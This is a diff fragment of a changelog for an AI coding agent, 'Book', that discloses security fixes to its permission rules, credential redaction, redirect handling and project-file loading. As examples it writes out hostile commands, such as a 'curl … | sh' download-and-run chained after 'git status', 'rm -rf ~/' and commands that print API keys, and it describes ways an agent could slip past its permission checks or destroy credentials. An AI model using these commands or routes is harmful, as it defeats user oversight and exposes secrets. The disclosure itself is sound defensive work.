+  `307 Location: http://other-host/…` had the request re-sent there with its `x-api-key` header and
+  the whole prompt. Every provider request, and `/model` discovery, now fails on any 3xx, with no
+  same-origin exception. The error is not retried, `retry.watchdog` included, and names the status
+  and the target as scheme, host and path only, never userinfo, query or fragment. It advises
+  setting the provider's base URL to that address without the endpoint path Book adds; the usual
+  causes are http to https, a missing `/v1` and a moved host. A compaction that meets a redirect
+  does not fall back to a summary-less one, and a managed agent or the advisor does not re-issue the
+  request. WebFetch keeps its own redirect policy and carries no provider credential.
+- **Tool output no longer carries Book's own provider keys** (#411). A command such as
+  `cat ~/.book/settings.json` or `echo $BOOK_API_KEY` put a configured key into the tool result,
+  and from there into the model's context, the session file, the `tool-output/` spill file and
+  stream-json. Before the output is bounded, each configured provider key and `BOOK_API_KEY` is now
+  replaced with `[redacted: provider key]`, for every tool, `Bash`, `BashOutput`, `Check`, `Read`,
+  MCP and `Task` included, and in the tail a finished background shell sends to the model. A key
+  under 8 characters, the placeholder keys of keyless local endpoints (`lm-studio`, `not-needed`),
+  and the key of a workspace provider you have not approved are not treated as secrets. `Write`,
+  `Edit` and `MultiEdit` refuse (`redacted_secret_overwrite`) to write the marker over a file that
+  holds a real key, so reading a file and writing it back cannot destroy a credential (the entry on
+  the redaction marker below extends this to every file-write tool and to `Bash`). `BashOutput` on
+  a running job returns text up to the last line break, so a read cannot be used to guess a key
+  one character at a time; an unfinished line waits for its end or for the job to exit, and a line
+  with no break comes back in pieces of at most 1024 characters. Limits: only exact values match,
+  so a key that was encoded or written in separate pieces is not caught; PostToolUse hooks and the
+  log files of background jobs on disk see the raw output; and the environment is unchanged, so
+  Bash children still inherit `BOOK_API_KEY` and a nested `book` run keeps working.
+- **A `Bash(<glob>)` rule in `allowed-tools` no longer admits a compound command** (#478). Such a
+  rule, written in a command, a skill or an agent role, read only the first line of the command and
+  let `;`, `&&`, a pipe, a redirect or a substitution through, so `Bash(git *)` admitted
+  `git status && curl https://example.com/x | sh` and `git log` followed by a line `rm -rf ~/`. The
+  rule now matches the whole trimmed command and refuses one that is compound. The check is a small
+  quote scanner, not a shell parser. Outside quotes, any of `; & | < > $ ( ) { }` or a backtick
+  counts; inside double quotes only `$` and a backtick do; inside single quotes nothing does, so
+  `git commit -m "fix(x): y"` and `git stash show 'stash@{0}'` still pass `Bash(git *)`. It fails
+  closed past that: an unterminated quote, a line break anywhere (even quoted), a backslash before
+  a quote, a `^` before a quote outside quotes, and a typographic quote (U+2018 to U+201E) are all
+  refused, since some shell reads each of them differently. On Windows a single quote is refused,
+  because the session shell may be cmd.exe, where it is not a quote, except under a shell on the
+  MSYS runtime (Git Bash, or another POSIX shell with `msys-2.0.dll`), where the command arrives out
+  of band and `'` reads as on Linux (#523, #548). This holds for an exact rule
+  and for `Bash(*)` too; a bare `Bash` still admits any command, and the strict `rm` rule is
+  unchanged. The refusal tells the model to send each command as its own Bash call.
+- **Bash permission rules read the whole command, and a compound command asks when a Bash deny or
+  ask rule exists** (#500, #512). A Bash allow rule matched only the first line, so
+  `Bash(git status)` allowed `git status` followed by a second line and `Bash(git *)` allowed
+  `git status && …`, and a deny or ask rule never saw a command chained after the first. A rule
+  with a `*` now matches the whole trimmed command and never admits one the scanner above calls
+  compound, `Bash(*)` included; the call falls through to the normal prompt. A rule with no `*` is
+  exact: it admits a command only when the trimmed command equals it as a plain string, a `?`
+  literal, compound or not, so "Always allow" on `cd x && npm test` writes a rule that fires again.
+  "Always allow" remembers nothing for a multi-line command or a compound one that contains a `*`,
+  since no rule could admit it (a later entry widens this to any wildcard). A bare `Bash` allow
+  rule still admits everything until a Bash deny or ask rule exists; then a compound command always
+  asks, in `auto` too (`default` and `accept-edits` ask as before, `dontAsk` refuses, and
+  `bypassPermissions` bypasses). A rule on another tool, such as `Read(.env)`, does not trigger
+  that, and only an exact session approve-all rule skips the prompt. In print mode, the SDK and a
+  background agent the refusal says to send each command as its own call, to add the exact rule, or
+  to use `bypassPermissions`. A deny or ask rule now also tests the trimmed command's first line and
+  its whole text, so leading whitespace no longer slides past `Bash(git push *)` into an allow rule.
+  The Windows quote reading above applies.
+- **A committed instruction file, `REVIEW.md`, project command or `@` mention could put any
+  readable file into the prompt** (#539, #543, #559). A repository's `CLAUDE.md` symlinked to a
+  private key, `/proc/self/environ` or `.book/settings.local.json` was read as an instruction file,
+  so that file went to the provider in the system prompt; a linked `REVIEW.md` went into every
+  `/review` pass, a linked `.book/commands/*.md` file went out when its command ran, and an `@path`
+  mention of a committed link inlined the link's target. A project instruction file (`CLAUDE.md`,
+  `AGENTS.md`, `.claude/CLAUDE.md`, a rules file or `CLAUDE.local.md`), `REVIEW.md` and a project
+  command file now load only when their real path is a Markdown file inside the git repository root:
+  the nearest `.git` directory or file, found from the real path, with a linked worktree as its own
+  root. So a monorepo link such as `packages/a/CLAUDE.md -> ../shared/AGENTS.md` loads. With no
+  repository, a file must stay inside the directory it was found in. Above the repository root only
+  your home directory and its parents go unchecked; any other directory is checked against itself,
+  so an unpacked archive with an empty `.git` cannot vouch for the directory above it. A `.git` in
+  your home directory (a dotfiles repository) does not count as a repository root. An `@path`
+  mention, typed or in a command body, is inlined only when the Read tool could open its real path:
+  inside the workspace or an `additionalDirectories` entry (#567). Otherwise it stays as written,
+  with a one-line `Left @<path> as written: <reason>.` notice (on stderr in print mode and the SDK,
+  as a transcript line in the TUI). A skipped file gets a one-line warning at start-up:
+  in the TUI, on stderr in print mode, in scrollback mode and in the SDK. Your own instruction files
+  and commands (the user-global ones) are not checked.
+- **A repository's project command no longer inlines your local files or runs `!` lines unasked**
+  (#564, #567). A `.book/commands/*.md` body could mention `@.git/config`,
+  `@.book/settings.local.json` or `@.env`, and running the command inlined them into the turn sent
+  to the provider, with no prompt, since only shell spans needed approval. In a project command's
+  body, arguments included, an `@` mention now inlines only a file git tracks with no local
+  changes, judged on the file the read really serves, so a committed link to an untracked `.env` is
+  refused; with no repository, or when git fails, nothing in the body is inlined. In the TUI a line
+  starting with `!` in a project command's body also ran as a shell command on `/name`, outside the
+  approval that covers shell spans; no host runs such a line now. On Windows a path that is, or
+  reaches through a link, a UNC location (`\\host\share`, `//host/share`) is refused before
+  anything resolves it, so a committed link cannot make Book contact an SMB host; a workspace
+  opened by its UNC path (not a mapped drive) loads no project files and inlines no mentions.
+- **No tool can replace a real provider key with the redaction marker any more** (#519, #535). The
+  guard from #411 covered only `Write`, `Edit` and `MultiEdit` over a file that held a key, so a
+  model could still destroy a credential another way. `Bash` now refuses a command that contains
+  the provider-key redaction marker (`redacted_secret_command`), whether it runs in the foreground,
+  in the background or times out into the background. `ApplyPatch` refuses to delete a file that
+  holds a key, and `ApplyPatch` and `NotebookEdit` refuse to write the marker into a file or cell
+  that holds one (`redacted_secret_overwrite`). Beyond that, every file-write tool (`Write`, `Edit`,
+  `MultiEdit`, `ApplyPatch` Add and Update, `NotebookEdit`) refuses a write that adds the marker to
+  any file (`redacted_secret_write`), which closes the route of writing a new file and moving it
+  over the old one with `mv`. The marker is counted over the whole file before and after the write,
+  so an edit that keeps or removes a quote of it still works. All of this applies only while a
+  provider key is configured.
+- **Under Git Bash and every other POSIX shell on Windows the Bash tool runs the command the
+  permission check read** (#523, #527, #532, #548). On Windows the MSYS runtime rebuilt a program's
+  argv from the Windows command line: it globbed the words, expanded `@file` arguments and stripped
+  the quotes from a command with no space, tab or `"`, so bash could run a different command from
+  the one the permission check had read; Cygwin's runtime and shims can do the same. Every session
+  shell with a POSIX name (`bash`, `sh`, `dash`, `ash`, `ksh`, `mksh`, `zsh`, versioned names such
+  as `zsh-5.9.exe` included), whatever its runtime (Git Bash, MSYS2, Cygwin, a shim or a copy), now
+  gets the command in the `BOOK_BASH_COMMAND` variable and a fixed `-c 'eval …'` script. The
+  variable is unset before the command runs; `$0`, `$#` and the exit status are unchanged. Only
+  WSL's `bash.exe` and non-POSIX shells (fish, nu, `busybox.exe` under its own name) keep argv
+  delivery. A single quote is read exactly as on Linux only under a shell on the MSYS runtime
+  (`msys-2.0.dll` beside it, or in `..\usr\bin` from a `bin` directory, as in Git for Windows); it
+  is still refused under Cygwin, a shim or a copy without the DLL, busybox, WSL, cmd and PowerShell.
+  The prompt and `book doctor` say which (#566): only a bash on the MSYS runtime is called Git
+  Bash, a shell that refuses `'` is described with a hint to use double quotes, a compound-command
+  refusal caused only by a `'` names that rule, and `book doctor` prints `msys: yes|no` for a
+  Windows bash or sh.
+- **"Always allow" no longer saves a rule that a wildcard in the call would widen, and `ask` rules
+  hold in `auto`** (#521, #522, #527). "Always allow" saved no rule only for a compound Bash
+  command with a `*`; it now saves none for any call whose own text holds a wildcard: a Bash
+  command with `*`, or a path or WebFetch origin with `*` or `?`. A call with no rule to save shows
+  only Run once and Skip. In a rule pattern `?` now matches exactly one character; it had been read
+  as a regex quantifier, and an exact Bash allow rule still compares as plain text. An `ask` rule
+  now prompts in `auto` too and outranks a wider session approve-all rule, unless that rule is the
+  call's exact one; an unattended run refuses the call and names the ask-rule remedy.
+  `bypassPermissions` is unchanged. On Windows a deny or ask path rule now matches a target outside
+  every root, where backslashes had made it fail open.
+
 ## [0.3.0] - 2026-10-07
 
 ### Security